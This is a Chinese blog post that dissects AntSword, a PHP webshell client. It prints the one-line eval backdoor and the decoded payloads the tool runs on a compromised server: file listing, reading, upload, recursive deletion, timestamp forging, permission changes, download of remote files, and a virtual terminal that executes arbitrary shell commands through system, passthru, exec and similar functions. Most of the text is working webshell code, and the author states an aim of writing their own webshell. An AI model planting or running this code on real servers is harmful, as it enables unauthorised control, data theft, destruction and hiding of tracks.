02月05, 2019

AntSword 执行代码分析

开始填新坑了,打算自己写一个 PHP webshell,找一些现有的例子进行分析。

老掉牙的菜刀在 PHP7 下连接都有问题,于是打算从 Cknife 和 AntSword 入手。

先用抓包的方式分析蚁剑的请求,如果以后有时间再啃一啃源码。

AntSword


整个蚁剑功能的实现全部依赖木马,最简单的 PHP 一句话木马形如:

<?php @eval($_POST['C1nd3m0r']);?>

抓包后,我对请求中的代码进行解码并格式化,以注释的形式进行分析。

此篇文章主要关注在被控端执行的代码,抓包和解码的过程省略。


初次连接时获取系统基本信息

<?php
    @ini_set("display_errors", "0");
    @set_time_limit(0);
    echo "42ec6";//认证
    //获取文件路径
    $D = dirname($_SERVER["SCRIPT_FILENAME"]);//当前文件的绝对路径
    if ($D == "")
    {
        $D = dirname($_SERVER["PATH_TRANSLATED"]);//另一种方法获得当前文件的绝对路径
        //PATH_TRANSLATED 仅在 PATH_INFO 被定义的条件下才存在。
    }
    $R = "{$D}    ";
    //如果是 Windows 系统,确定有哪些盘
    if (substr($D, 0, 1) != "/")
    {
        foreach (range("C", "Z") as $L) 
            if (is_dir("{$L}:")) 
                $R.= "{$L}:";
    } 
    else
    {
        $R .= "/";
    }
    $R.= "    ";
    //获取当前用户的信息
    $u = (function_exists("posix_getegid")) ? @posix_getpwuid(@posix_geteuid()) : "";
        //对于 Linux,优先使用 posix 扩展
    $s = ($u) ? $u["name"] : @get_current_user();
    //获取操作系统相关描述
    $R.= php_uname();
    $R.= "    {$s}";
    echo $R;;
    echo "dd13c";//认证
    die();
?>

展示目录内容

<?php
    @ini_set("display_errors", "0");
    @set_time_limit(0);
    echo "4629b";
    $D = base64_decode($_POST["0x8c20dfe0a1ab8"]);//一并被 POST 上去的路径信息,被 Base64 编码过,参数名是随机生成的
    $F = @opendir($D);//读取目录内容
    if ($F == NULL)
    {
        echo ("ERROR:// Path Not Found Or No Permission!");
    }
    else
    {
        $M = NULL;
        $L = NULL;
        //遍历目录下文件名
        while ($N = @readdir($F)) {
            $P = $D . $N;
            $T = @date("Y-m-d H:i:s", @filemtime($P));//文件修改时间
            @$E = substr(base_convert(@fileperms($P) , 10, 8) , -4);//获取八进制权限
            $R = "    " . $T . "    " . @filesize($P) . "    " . $E . "";//文件大小
            if (@is_dir($P)) 
                $M.= $N . "/" . $R;//标记文件夹
            else
                $L.= $N . $R;
        }
        echo $M . $L;
        @closedir($F);
    };
    echo "7716e";
    die();
?>

文本文件读取

<?php
    @ini_set("display_errors", "0");
    @set_time_limit(0);echo "17277";
    $F=base64_decode($_POST["0x8c20dfe0a1ab8"]);//被编码的文件名
    $P=@fopen($F,"r");
    echo(@fread($P,filesize($F)?filesize($F):4096));
    @fclose($P);;
    echo "c89d9";
    die();
?>

文件上传

<?php
    @ini_set("display_errors", "0");
    @set_time_limit(0);
    echo "9f725";
    $f=base64_decode($_POST["0xd52299d22f3f1"]);//被编码的文件名
    $c=$_POST["0x39abb7ad516b1"];//文件的某种编码,通过下面的方式可以解码
    $c=str_replace("","",$c);//作用不明,也许是混淆
    $c=str_replace("","",$c);
    $buf="";
    for($i=0;$i<strlen($c);$i+=2)
        $buf.=urldecode("%".substr($c,$i,2));//url解码,每两个字符一个百分号
    echo(@fwrite(fopen($f,"a"),$buf)?"1":"0");;//解码结果写入文件
    echo "e9ee4";
    die();
?>

文件删除

<?php
    @ini_set("display_errors", "0");
    @set_time_limit(0);
    echo "b7699";
    function df($p)
    {
        $m=@dir($p);
        while(@$f=$m->read())
        {
            $pf=$p."/".$f;
            if((is_dir($pf))&&($f!=".")&&($f!=".."))
            {
                @chmod($pf,0777);
                df($pf);
            }
            if(is_file($pf))
            {
                @chmod($pf,0777);
                @unlink($pf);
            }
        }
        $m->close();
        @chmod($p,0777);
        return @rmdir($p);
    }
    //若 PHP 版本高于 5.4,去掉反斜杠,意义不明,因为文件名的编码几乎不会出现反斜杠,可能是混淆。
    $F=base64_decode(get_magic_quotes_gpc()?stripslashes($_POST["0xd52299d22f3f1"]):$_POST["0xd52299d22f3f1"]);
    if(is_dir($F))
        echo(df($F));//对文件夹的递归删除函数
    else
    {
        echo(file_exists($F)?@unlink($F)?"1":"0":"0");
    };
    echo "36ae6";
    die();
?>

重命名

<?php
    @ini_set("display_errors", "0");
    @set_time_limit(0);
    echo "7c39e";
    //还是这个魔术字符函数,依然意义不明
    $m=get_magic_quotes_gpc();
    $src=base64_decode(m?stripslashes($_POST["0xd52299d22f3f1"]):$_POST["0xd52299d22f3f1"]);
    $dst=base64_decode(m?stripslashes($_POST["0x39abb7ad516b1"]):$_POST["0x39abb7ad516b1"]);
    echo(rename($src,$dst)?"1":"0");;
    echo "aa07b";
    die();
?>

文件下载

<?php
    @ini_set("display_errors", "0");
    @set_time_limit(0);
    echo "880fd";
    //编码的文件名
    $F=base64_decode(get_magic_quotes_gpc()?stripslashes($_POST["0xd52299d22f3f1"]):$_POST["0xd52299d22f3f1"]);
    $fp=@fopen($F,"r");
    if(@fgetc($fp))
    {
        @fclose($fp);
        @readfile($F);
    }
    else
    {
        echo("ERROR:// Can Not Read");
    };
    echo "22718";
    die();
?>

更改文件时间

<?php
    @ini_set("display_errors", "0");
    @set_time_limit(0);
    echo "bdb73";
    $m=get_magic_quotes_gpc();
    $FN=base64_decode(m?stripslashes($_POST["0xd52299d22f3f1"]):$_POST["0xd52299d22f3f1"]);
    $TM=strtotime(base64_decode(m?stripslashes($_POST["0x39abb7ad516b1"]):$_POST["0x39abb7ad516b1"]));
    if(file_exists($FN))
    {
        echo(@touch($FN,$TM,$TM)?"1":"0");//访问时间和修改时间都改
    }
    else
    {
        echo("0");
    };;
    echo "9e9bc";
    die();
?>

更改文件权限

<?php
    @ini_set("display_errors", "0");
    @set_time_limit(0);
    echo "208c8";
    $m=get_magic_quotes_gpc();
    $FN=base64_decode(m?stripslashes($_POST["0xd52299d22f3f1"]):$_POST["0xd52299d22f3f1"]);
    $mode=base64_decode(m?stripslashes($_POST["0x39abb7ad516b1"]):$_POST["0x39abb7ad516b1"]);
    echo(chmod($FN,octdec($mode))?"1":"0");;//八进制的权限码要转成十进制
    echo "e5342";
    die();
?>

wget

<?php
    @ini_set("display_errors", "0");
    @set_time_limit(0);
    echo "44d41";
    $fR=base64_decode($_POST["0xd52299d22f3f1"]);//远程文件名
    $fL=base64_decode($_POST["0x39abb7ad516b1"]);//本地文件名
    //用 fopen 访问远程文件,要在 php.ini 中激活 allow_url_fopen
    $F=@fopen($fR,chr(114));
    $L=@fopen($fL,chr(119));
    if($F && $L)
    {
        while(!feof($F))
            @fwrite($L,@fgetc($F));
        @fclose($F);
        @fclose($L);
        echo("1");
    }
    else
    {
        echo("0");
    };;
    echo "ee1ce";
    die();
?>

新建文件

<?php
    @ini_set("display_errors", "0");
    @set_time_limit(0);
    echo "5969c";
    //附带了写入的内容
    echo @fwrite(fopen(base64_decode($_POST["0x4df015b81a76c"]),"w"),base64_decode($_POST["0x42d07bc8577b9"]))?"1":"0";;
    echo "5adab";
    die();
?>

新建文件夹

<?php
    @ini_set("display_errors", "0");
    @set_time_limit(0);
    echo "4a9c0";
    $m=get_magic_quotes_gpc();
    $f=base64_decode($m?stripslashes($_POST["0x4df015b81a76c"]):$_POST["0x4df015b81a76c"]);
    echo(mkdir($f)?"1":"0");;//普通的 mkdir
    echo "d35fd";
    die();
?>

文件复制

<?php
    @ini_set("display_errors", "0");
    @set_time_limit(0);
    echo "2ab86";
    $m=get_magic_quotes_gpc();
    $fc=base64_decode($m?stripslashes($_POST["0x4df015b81a76c"]):$_POST["0x4df015b81a76c"]);
    $fp=base64_decode($m?stripslashes($_POST["0x42d07bc8577b9"]):$_POST["0x42d07bc8577b9"]);
    function xcopy($src,$dest)
    {
        if(is_file($src))
        {
            if(!copy($src,$dest))
                return false;
            else
                return true;
        }
        $m=@dir($src);
        if(!is_dir($dest))
            if(!@mkdir($dest))
                return false;
        while($f=$m->read())
        {
            $isrc=$src.chr(47).$f;
            $idest=$dest.chr(47).$f;
            if((is_dir($isrc))&&($f!=chr(46))&&($f!=chr(46).chr(46)))
            {
                if(!xcopy($isrc,$idest))//如果是文件夹,递归复制
                    return false;
            }
            else if(is_file($isrc))
            {
                if(!copy($isrc,$idest))
                    return false;
            }
        }
        return true;
    }
    echo(xcopy($fc,$fp)?"1":"0");;
    echo "ada2f";
    die();
?>

虚拟终端

<?php
    @ini_set("display_errors", "0");
    @set_time_limit(0);
    echo "0f5b9";
    //如果是 Linux:/bin/sh
    //如果是 Windows: cmd
    $p=base64_decode($_POST["0xc138ad96398d"]);
    //如果是 Linux:cd "<终端运行的目录>";<输入的命令>;echo [S];pwd;echo [E]
    //如果是 Windows: cd /d "<终端运行的目录>"&<输入的命令>&echo [S]&cd&echo [E]
    $s=base64_decode($_POST["0x334a9aede500d"]);
    $d=dirname($_SERVER["SCRIPT_FILENAME"]);
    //如果是 Linux:使用 -c "<指令>"
    //如果是 Windows:使用 /c "<指令>"
    $c=substr($d,0,1)=="/"?"-c \"{$s}\"":"/c \"{$s}\"";
    //如果是 Linux:/bin/sh -c "cd "<终端运行的目录>";<输入的命令>;echo [S];pwd;echo [E]"
    //如果是 Windows:cmd /c "cd /d "<终端运行的目录>"&<输入的命令>&echo [S]&cd&echo [E]"
    $r="{$p} {$c}";
    function fe($f)
    {
        $d=explode(",",@ini_get("disable_functions"));//把不可用的函数拆成数组
        if(empty($d))
        {
            $d=array();
        }
        else
        {
            $d=array_map('trim',array_map('strtolower',$d));//小写并去空格
        }
        return(function_exists($f)&&is_callable($f)&&!in_array($f,$d));//确保函数可用
    };
    function runcmd($c)
    {
        $ret=0;
        //尝试调用各种外部命令执行函数
        if(fe('system'))
        {
            @system($c,$ret);
        }
        elseif(fe('passthru'))
        {
            @passthru($c,$ret);
        }
        elseif(fe('shell_exec'))
        {
            print(@shell_exec($c));
        }
        elseif(fe('exec'))
        {
            @exec($c,$o,$ret);
            print(join("",$o));
        }
        elseif (fe('popen'))
        {
            $fp=@popen($c,'r');
            while(!@feof($fp))
            {
                print(@fgets($fp, 2048));
            }
            @pclose($fp);
        }
        else
        {
            $ret = 127;
        }
        return $ret;
    };
    //如果是 Linux:/bin/sh -c "cd "<终端运行的目录>";<输入的命令>;echo [S];pwd;echo [E]" 2>&1
    //如果是 Windows:cmd /c "cd /d "<终端运行的目录>"&<输入的命令>&echo [S]&cd&echo [E]" 2>&1
    $ret=@runcmd($r." 2>&1");//2>&1 表示把错误输出重定向到标准输出
    print ($ret!=0)?"ret={$ret}":"";;//如果执行成功返回0
    echo "dc8be";
    die();
?>

本文链接:https://blog.cindemor.com/post/antsword-analyse.html

-- EOF --